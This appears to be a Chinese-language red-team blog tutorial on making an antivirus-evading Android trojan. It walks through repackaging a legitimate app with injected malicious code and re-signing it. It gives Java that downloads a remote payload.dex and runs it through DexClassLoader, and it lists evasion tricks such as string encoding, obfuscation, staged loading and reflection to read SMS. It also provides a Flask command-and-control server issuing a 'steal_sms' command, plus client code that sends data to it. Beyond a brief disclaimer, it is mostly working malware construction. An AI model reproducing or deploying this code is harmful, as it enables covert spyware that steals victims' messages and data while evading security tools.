0x01 一场新闻中的木马风暴
不久前,一则新闻引起了安全界的广泛关注:一款伪装成热门应用的木马程序在全球范围内传播,感染了数十万台安卓设备。这款木马不仅具备窃取用户敏感信息的能力,还能在受害者的设备上悄悄安装其它恶意软件,甚至进行远程控制。更令人惊讶的是,它能够成功绕过市面上主流的杀毒软件和安全检测服务,传播数月后才被发现。
其实,这并非个例。在我过去的红队攻击生涯中,移动端木马始终是渗透和持久化的利器。构建一个能绕过杀毒软件检测的手机木马,是每个攻击者的必修课。今天,我将结合实战经验,详细剖析如何制作一款“隐形”的安卓木马,重点分享绕过杀毒软件的免杀技巧,希望能对安全研究者有所启发。

免责声明:本文仅供授权的安全研究和教育用途,请勿用于非法行为,否则后果自负。
---
0x02 木马的核心:攻击链设计
在构建一个手机木马之前,我们需要明确攻击链的目标和设计思路。从攻击者的视角来看,一个成功的移动端木马应该具备以下特性:
- 隐蔽性:能够绕过主流杀毒软件和安全检测服务;
- 灵活性:支持多种Payload模块,方便加载不同功能;
- 持久化:在设备重启或者应用被清理后仍能恢复控制;
- 通信安全:加密通信,避免被网络流量分析发现;
- 远程控制能力:支持如键盘记录、短信拦截、摄像头开启等功能。
为实现上述目标,一个典型的攻击链设计如下:
- 信息收集:伪装成正常的应用,诱导用户安装;
- 权限提升:获取高权限以执行核心功能;
- C2通信:与远程控制服务器建立通信,实时发送指令;
- 模块加载:动态加载恶意功能模块,如窃取文件、远控屏幕等;
- 痕迹清除:在目标设备上隐藏自身痕迹,避免被发现。
接下来,我将从实战角度出发,展示如何一步步实现这条攻击链。
---
0x03 实战环境搭建
为了安全地测试木马功能,我们需要搭建一个隔离的实验环境。我常用的测试环境包括:
1. 准备工具
- 安卓设备:一台已Root的安卓手机或虚拟机(如Genymotion)。
- 开发环境:Android Studio 和 APKTool 用于反编译和重打包APK。
- C2框架:使用Metasploit或自建Python C2服务器。
- 抓包工具:Burp Suite 或 Wireshark,用于调试通信流量。
2. 环境搭建
- 在目标安卓设备上安装一款受信任的测试应用,例如一款公开的开源应用,作为木马的载体。
- 配置Metasploit或定制的C2服务器,确保能够接收目标设备的回连。
3. 测试网络
- 使用Wi-Fi网络作为目标设备与C2服务器的通信通道,并通过抓包工具监控通信数据。
整个环境的准备工作大约需要30分钟,之后我们就可以开始木马的开发和测试了。
---

0x04 木马的伪装与免杀
一、反编译与重打包
我通常会选择一款知名的应用(例如天气软件)作为木马的“外壳”。使用APKTool反编译这个应用后,将恶意代码嵌入其中,再重新打包签名。
<pre><code class="language-bash"># 反编译原始APK apktool d original_app.apk -o decompiled_app/
将恶意代码插入MainActivity中
vim decompiled_app/smali/com/example/MainActivity.smali
重打包APK
apktool b decompiled_app -o infected_app.apk
签名APK
jarsigner -keystore my-release-key.keystore infected_app.apk alias_name</code></pre>
在插入恶意代码时,我会特别注意不要破坏应用原有的功能,同时通过混淆代码的方式,降低恶意逻辑被检测到的风险。
二、动态加载恶意模块
为了进一步提高隐蔽性,我倾向于不在木马的主程序中直接植入恶意功能,而是通过动态加载的方式从远程服务器获取代码。这可以有效避免静态分析工具检测到恶意逻辑。
下面是一个简单的动态加载代码示例(使用DexClassLoader):
<pre><code class="language-java">// 从远程服务器下载恶意Dex文件 String dexPath = getApplicationContext().getFilesDir().getAbsolutePath() + "/payload.dex"; URL url = new URL("http://your-server.com/payload.dex"); HttpURLConnection connection = (HttpURLConnection) url.openConnection(); FileOutputStream fos = new FileOutputStream(dexPath); InputStream is = connection.getInputStream(); byte[] buffer = new byte[1024]; int len; while ((len = is.read(buffer)) > 0) { fos.write(buffer, 0, len); } fos.close(); is.close();
// 动态加载Dex文件 DexClassLoader dexClassLoader = new DexClassLoader(dexPath, getCacheDir().getAbsolutePath(), null, getClassLoader()); Class<?> payloadClass = dexClassLoader.loadClass("com.example.Payload"); Method start = payloadClass.getDeclaredMethod("start"); start.invoke(null);</code></pre>
三、绕过杀毒软件的技巧
在免杀方面,我经常使用以下几种技术:
- 字符串加密:将所有敏感字符串(如域名、关键字)加密存储,运行时动态解密。
- 代码混淆:使用ProGuard或手动修改函数名、变量名,增加分析难度。
- 分段加载:将恶意逻辑拆分成多个小模块,逐步加载,以逃避特征检测。
- API替代:尽量避免直接调用可疑的API,例如读取短信时可以通过反射调用隐藏API。
以下是一个字符串加密的示例代码:
<pre><code class="language-java">// 加密方法 public static String encrypt(String input) { byte[] bytes = Base64.encode(input.getBytes(), Base64.DEFAULT); return new String(bytes); }
// 解密方法 public static String decrypt(String input) { byte[] bytes = Base64.decode(input, Base64.DEFAULT); return new String(bytes); }</code></pre>
---
0x05 C2通信与攻击模块
一个高效的木马需要稳定的C2通信能力。我一般会选择HTTPS通信,并对流量进行自定义加密,以防止被安全设备拦截和分析。
C2服务器端代码(Python实现)
以下是一个简单的C2服务器端代码,用于接收目标设备的回连:
<pre><code class="language-python">from flask import Flask, request
app = Flask(__name__)
接收数据
@app.route('/api/data', methods=['POST']) def receive_data(): data = request.get_json() print("[+] Received data:", data) return "OK"
发送命令
@app.route('/api/command', methods=['GET']) def send_command(): return '{"command": "steal_sms"}'
if __name__ == '__main__': app.run(host='0.0.0.0', port=8080)</code></pre>
木马通信代码(Java实现)
下面是一段简单的安卓通信代码,用于与上述C2服务器进行交互:
<pre><code class="language-java">// 向C2服务器发送数据 public void sendData(String jsonData) { URL url = new URL("http://your-server.com/api/data"); HttpURLConnection connection = (HttpURLConnection) url.openConnection(); connection.setRequestMethod("POST"); connection.setDoOutput(true); OutputStream os = connection.getOutputStream(); os.write(jsonData.getBytes()); os.close(); }
// 从C2服务器接收命令 public String receiveCommand() { URL url = new URL("http://your-server.com/api/command"); HttpURLConnection connection = (HttpURLConnection) url.openConnection(); InputStream is = connection.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(is)); StringBuilder response = new StringBuilder(); String line; while ((line = reader.readLine()) != null) { response.append(line); } return response.toString(); }</code></pre>

通过这样的C2通信机制,我们可以实现对目标设备的实时控制。
---
0x06 总结与经验分享
制作一个免杀的手机木马需要综合运用多种技术,包括动态加载、代码混淆、字符串加密等。同时,攻击者需要对目标安卓系统和杀毒软件的检测逻辑有深刻的理解,才能设计出真正有效的木马。
在我的实战经验中,隐蔽性永远是木马成功与否的关键。攻击者往往需要根据具体的目标环境调整策略,灵活应对新的检测机制。
希望今天的分享能为大家提供一些参考。再次强调,本文仅限于合法的安全研究,请勿用于非法用途!